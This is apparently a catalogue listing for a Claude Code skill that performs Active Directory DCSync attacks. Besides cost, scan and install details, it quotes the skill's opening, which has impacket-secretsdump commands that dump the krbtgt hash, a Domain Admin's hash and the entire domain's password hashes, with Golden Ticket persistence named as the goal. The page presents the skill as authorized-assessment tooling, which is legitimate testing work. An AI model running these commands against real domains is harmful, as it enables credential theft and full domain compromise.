active-directory-dcsync-attack

active-directory-dcsync-attack is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 75 tokens per session (2,294 once invoked), scanned A, a copy of active-directory-dcsync-attack, Apache-2.0.

A security-testing procedure for DCSync, an Active Directory technique that abuses directory-replication permissions to request password hashes from a domain controller. Password hashes are stored representations of passwords that can sometimes be cracked or reused.

In plain words
What is it for?
Use it during an authorized assessment to test replication permissions, check exposure of sensitive accounts such as krbtgt, and document domain-wide credential risks.
Why use it?
It helps determine whether a highly privileged account can retrieve credentials for many domain users without directly copying the domain controller's database.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it during an authorized assessment to test replication permissions, check exposure of sensitive accounts such as krbtgt, and document domain-wide credential risks.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/active-directory-dcsync-attack

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

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README.md
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Your own site
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<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/active-directory-dcsync-attack"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/active-directory-dcsync-attack.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 75 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,294 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00075 $0.02294
Opus 5 $0.00037 $0.01147
Sonnet 5 $0.00015 $0.00459
Haiku 4.5 $0.00007 $0.00229

Measured 7d ago against content hash 4952f7fdf0d9, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

active-directory-dcsync-attack scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

100% identical to active-directory-dcsync-attack — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/red-teaming/credential-access/active-directory-dcsync-attack/SKILL.md · 179 lines

How it starts

The opening of the file, as written. The whole thing — 179 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Active Directory DCSync Attack

When to Use

  • When operating within a compromised Active Directory environment and you have acquired the credentials of a highly-privileged account (e.g., Domain Admin, Enterprise Admin, or a specific Service Account with Directory Replication rights).
  • To extract the krbtgt account hash, which is absolutely mandatory for forging Golden Tickets subsequently establishing ultimate domain persistence.
  • To perform a complete, stealthy domain credential dump without installing malware directly onto the Domain Controller or exporting the physical NTDS.dit database file.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Validating Prerequisites

# Concept: A standard domain user CANNOT execute a DCSync. The attacking account MUST possess 
# three highly specific Access Control Entries (ACEs) granted at the Domain Root level:
# 1. Replicating Directory Changes (DS-Replication-Get-Changes)
# 2. Replicating Directory Changes All (DS-Replication-Get-Changes-All)
# 3. Replicating Directory Changes In Filtered Set

# Default Groups possessing these rights natively:
# - Domain Controllers
# - Enterprise Admins
# - Domain Admins
# - Administrators

Phase 2: Remote DCSync via Impacket (Linux/Kali)

# Concept: You possess a Domain Administrator's NTLM hash or plaintext password. 
# You execute the attack remotely from your Kali machine over the network.

# 1. Target a specific high-value account (e.g., the krbtgt account)
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user krbtgt

# 2. Extract the NTLM hash of a specific Domain Admin
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user JamesP_Admin

# 3. Dump the entire Active Directory Database (Warning: Extremely Noisy)
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc

Read the full file on GitHub · 179 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 179 lines · 75 tokens per session scan A 4952f7fdf0d9

Subscribe to this mod's changes

active-directory-dcsync-attack is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 75 tokens to every session and 2,294 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to active-directory-dcsync-attack, differing in 0 lines, and is treated as a copy.

Related

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active-directory-dcsync-attack

Execute a DCSync attack mimicking the behavior of a legitimate Active Directory Domain Controller (DC). Leverage Directory Replication Service Remote Protocol (DRSR) permissions to silently request and extract the password hashes (NTLM/Kerberos) of any or all users in the domain without executing code on the target…

ShulkwiSEC/bb-huge · 75 tokens

ad-dcsync-attack

Exploit Active Directory replication privileges (DS-Replication-Get-Changes) to perform a DCSync attack, allowing an attacker to impersonate a Domain Controller and extract password hashes (like the krbtgt hash for Golden Tickets) without code execution on a DC.

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